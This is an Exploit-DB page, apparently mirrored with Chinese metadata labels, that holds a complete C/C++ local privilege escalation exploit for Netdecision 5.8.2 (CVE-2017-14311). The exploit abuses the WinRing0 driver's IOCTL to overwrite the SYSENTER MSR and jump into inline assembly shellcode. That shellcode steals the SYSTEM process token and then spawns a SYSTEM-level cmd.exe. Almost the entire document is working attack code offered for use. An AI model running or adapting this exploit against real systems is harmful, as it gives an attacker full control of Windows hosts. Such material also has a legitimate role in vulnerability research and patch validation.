Netdecision 5.8.2 – Local Privilege Escalation

  • 作者: Peter Baris
    日期: 2017-09-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42735/
  • // Netdecision.cpp : Defines the entry point for the console application.
    /*
    # Exploit Title: Netdecision 5.8.2 - Local Privilege Escalation - Winring0x32.sys
    # Date: 2017.09.17
    # Exploit Author: Peter Baris
    # Vendor Homepage: www.netmechanica.com
    # Software Link: http://www.netmechanica.com/downloads///registration required
    # Version: 5.8.2 
    # Tested on: Windows 7 Pro SP1 x86 / Windows 7 Enterprise SP1
    # CVE : CVE-2017-14311 
    
    Vendor notified on 2017.09.11 - no response */
    
    #include "stdafx.h"
    #include <stdio.h>
    #include <Windows.h>
    #include <winioctl.h>
    #include <tlhelp32.h>
    #include <Psapi.h>
    
    #define DEVICE_NAME L"\\\\.\\WinRing0_1_2_0"
    
    
    
    LPCTSTR FileName = (LPCTSTR)DEVICE_NAME;
    HANDLE GetDeviceHandle(LPCTSTR FileName) {
    	HANDLE hFile = NULL;
    
    	hFile = CreateFile(FileName,
    		GENERIC_READ | GENERIC_WRITE,
    		0,
    		0,
    		OPEN_EXISTING,
    		NULL,
    		0);
    
    	return hFile;
    }
    
    
    extern ULONG ZwYieldExecution = NULL;
    extern PVOID KernelBaseAddressInKernelMode = NULL;
    extern	HMODULE hKernelInUserMode = NULL;
    
    VOID GetKiFastSystemCall() {
    
    	SIZE_T ReturnLength;
    	HMODULE hntdll = NULL;
    
    	ULONG ZwYieldExecution_offset;
    
    
    	hntdll = LoadLibraryA("ntdll.dll");
    
    	if (!hntdll) {
    		printf("[-] Failed to Load ntdll.dll: 0x%X\n", GetLastError());
    		exit(EXIT_FAILURE);
    	}
    
    	LPVOID drivers[1024];
    	DWORD cbNeeded;
    
    	EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    	KernelBaseAddressInKernelMode = drivers[0];
    
    
    	printf("[+] Kernel base address: 0x%X\n", KernelBaseAddressInKernelMode);
    	
    	hKernelInUserMode = LoadLibraryA("ntkrnlpa.exe");
    
    	if (!hKernelInUserMode) {
    		printf("[-] Failed to load kernel: 0x%X\n", GetLastError());
    		exit;
    	}
    
    
    	printf("[+] KernelImage Base in User-Mode 0x%X\r\n", hKernelInUserMode);
    
    	
    	
    
    	ZwYieldExecution = GetProcAddress(hKernelInUserMode, "ZwYieldExecution");
    	
    	if (!ZwYieldExecution) {
    		printf("[-] Failed to resolve KiFastSystemCall: 0x%X\n", GetLastError());
    		exit;
    	}
    	
    	ZwYieldExecution_offset = (ULONG)ZwYieldExecution - (ULONG)hKernelInUserMode;
    	printf("[+] ZwYieldExecution's offset address in ntkrnlpa.exe: 0x%X\n", ZwYieldExecution_offset);
    
    
    	(ULONG)ZwYieldExecution = (ULONG)ZwYieldExecution_offset + (ULONG)KernelBaseAddressInKernelMode;
    
    	printf("[+] ZwYieldExecution's address in kernel-mode: 0x%X\n", ZwYieldExecution);
    
    
    	if (hntdll) {
    		FreeLibrary(hntdll);
    	}
    
    	if (hKernelInUserMode) {
    		FreeLibrary(hKernelInUserMode);
    	}
    
    	hntdll = NULL;
    
    	return hKernelInUserMode;
    	return ZwYieldExecution;
    }
    
    
    extern ULONG eip = NULL;
    extern ULONG pesp = NULL;
    extern ULONG pebp = NULL;
    extern ULONG ETHREAD = NULL;
    
    ULONG Shellcode() {
    
    	ULONG FunctionAddress = ZwYieldExecution;
    	
    	__asm {
    
    		pushad
    		pushfd
    		xor eax,eax
    
    		mov edi, FunctionAddress; Address of ZwYieldExection to EDI
    
    		SearchCall:
    		mov eax, 0xe8
    		scasb
    		jnz SearchCall
    
    		mov ebx, edi
    		mov ecx, [edi]
    		add ebx, ecx; EBX points to KiSystemService
    		add ebx, 0x4
    
    		lea edi, [ebx - 0x1]
    		SearchFastCallEntry:
    		mov eax, 0x00000023
    		scasd
    		jnz SearchFastCallEntry
    		mov eax, 0xa10f306a
    		scasd
    		jnz SearchFastCallEntry
    
    		lea eax,[edi-0x9]
    		xor edx, edx
    		mov ecx, 0x176
    
    
    		wrmsr
    		popfd
    		popad
    			
    		
    		mov eax,ETHREAD
    		
    		mov eax,[eax]
    		mov eax, [eax+0x050]
    		mov ecx, eax
    		mov edx, 0x4
    		
    		FindSystemProcess :
    		mov eax, [eax + 0x0B8]
    		sub eax, 0x0B8
    		cmp[eax + 0x0B4], edx
    		jne FindSystemProcess
    
    		
    		mov edx, [eax + 0x0F8]
    		mov[ecx + 0x0F8], edx
    
    		;xor eax, eax
    		mov esp,pesp
    		mov ebp,pebp
    	
    		push eip
    	;		int 3
    		ret
    		
    	}
    	
    }
    
    
    
    int main()
    {
    	HANDLE hlib = NULL;
    	HANDLE hFile = NULL;
    	PVOID lpInBuffer = NULL;
    	ULONG lpOutBuffer = NULL;
    	ULONG lpBytesReturned;
    	PVOID BuffAddress = NULL;
    	SIZE_T BufferSize = 0x1000;
    	SIZE_T nOutBufferSize = 0x800;
    	ULONG Interval = 0;
    	ULONG Shell = &Shellcode;
    	NTSTATUS NtStatus = NULL;
    
    
    	
    	/* Undocumented feature to trigger the vulnerability */
    	hlib = LoadLibraryA("ntdll.dll");
    
    	if (!hlib) {
    		printf("[-] Failed to load the library: 0x%X\n", GetLastError());
    		exit(EXIT_FAILURE);
    	}
    	
    
    	GetKiFastSystemCall();
    	
    	/* Allocate memory for our input and output buffers */
    	lpInBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	
    	/*Getting KiFastSystemCall address from ntdll.dll to restore it in 0x176 MSR*/
    	
    
    	lpOutBuffer = VirtualAlloc(NULL, BufferSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	//printf("[+] Address to write our shellcode's address to: 0x%X\r\n", lpOutBuffer);
    
    
    	/* Crafting the input buffer */
    
    	BuffAddress = (PVOID)(((ULONG)lpInBuffer));
    	*(PULONG)BuffAddress = (ULONG)0x00000176; /*IA32_SYSENTER_EIP MSR*/
    	BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x4));
    	*(PULONG)BuffAddress = (ULONG)Shell; /*Our assembly shellcode Pointer into EAX*/
    	BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0x8));
    	*(PULONG)BuffAddress = (ULONG)0x00000000;/* EDX is 0x00000000 in 32bit mode */
    	BuffAddress = (PVOID)(((ULONG)lpInBuffer + 0xc));
    	*(PULONG)BuffAddress = (ULONG)0x00000000;
    
    
    	//RtlFillMemory(lpInBuffer, BufferSize, 0x41);
    	//RtlFillMemory(lpOutBuffer, BufferSize, 0x42);
    
    	
    	//printf("[+] Trying the get the handle for the WinRing0_1_2_0 device.\r\n");
    
    	hFile = GetDeviceHandle(FileName);
    
    	if (hFile == INVALID_HANDLE_VALUE) {
    		printf("[-] Can't get the device handle. 0x%X\r\n", GetLastError());
    		return 1;
    	}
    	else
    	{
    		printf("[+] Handle opened for WinRing0x32. Sending IOCTL.\r\n");
    	}
    	
    	/*Here we calculate the EIP for our return from kernel-mode. This exploit does not let us simply adjust the stack and return*/
    
    	(HANDLE)eip = GetModuleHandleA(NULL); /*Getting the base address of our process*/
    	printf("[+] Current process base address 0x%X\r\n", (HANDLE)eip);
    	(HANDLE)eip = eip + 0x13ae; /*Any time you change something in the main() section you MUST adjust the offset to point to the PUSH 40 instrction*/
    	printf("[+] Return address (EIP) from kernel-mode 0x%X\r\n", (HANDLE)eip);
    
    	/*Setting CPU affinity before execution to maximize the chance of executing our code on the same CPU core*/
    	DWORD_PTR i = 1; /*CPU Core with ID 1 will be always chosen for the execution*/
    
    	ULONG affinity = SetThreadAffinityMask(GetCurrentThread(), i);
    
    	printf("[+] Setting affinity for logical CPU with ID:%d\r\n", i);
    		if (affinity == NULL) {
    
    			printf("[-] Something went wrong while setting CPU affinity 0x%X\r\n", GetLastError());
    			exit(1);
    		}
    	
    	ETHREAD = (ULONG)KernelBaseAddressInKernelMode + 0x12bd24; /*Offset to nt!KiInitialThread as TEB is not readable*/
    
    	/*Saving stack pointer and stack frame of user-mode before diving in kernel-mode to restore it before returning to user-mode */
    
    	__asm {
    		
    		mov pesp, esp
    		mov pebp, ebp
    		nop
    	}
    	
    
    	DeviceIoControl(hFile,
    		0x9C402088, 
    		lpInBuffer,
    		0x10,
    		lpOutBuffer, 
    		0x20,
    		&lpBytesReturned,
    		NULL);
    	
    	
    
    		STARTUPINFO info = { sizeof(info) };
    		PROCESS_INFORMATION processInfo;
    		NTSTATUS proc;
    		LPCSTR command = L"C:\\Windows\\System32\\cmd.exe";
    		proc = CreateProcess(command, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &info, &processInfo);
    
    		if (!proc) {
    	
    			printf("ERROR 0x%X\r\n", proc);
    		}
    		WaitForSingleObject(processInfo.hProcess, INFINITE);
    	
    
    	exit(0);
    }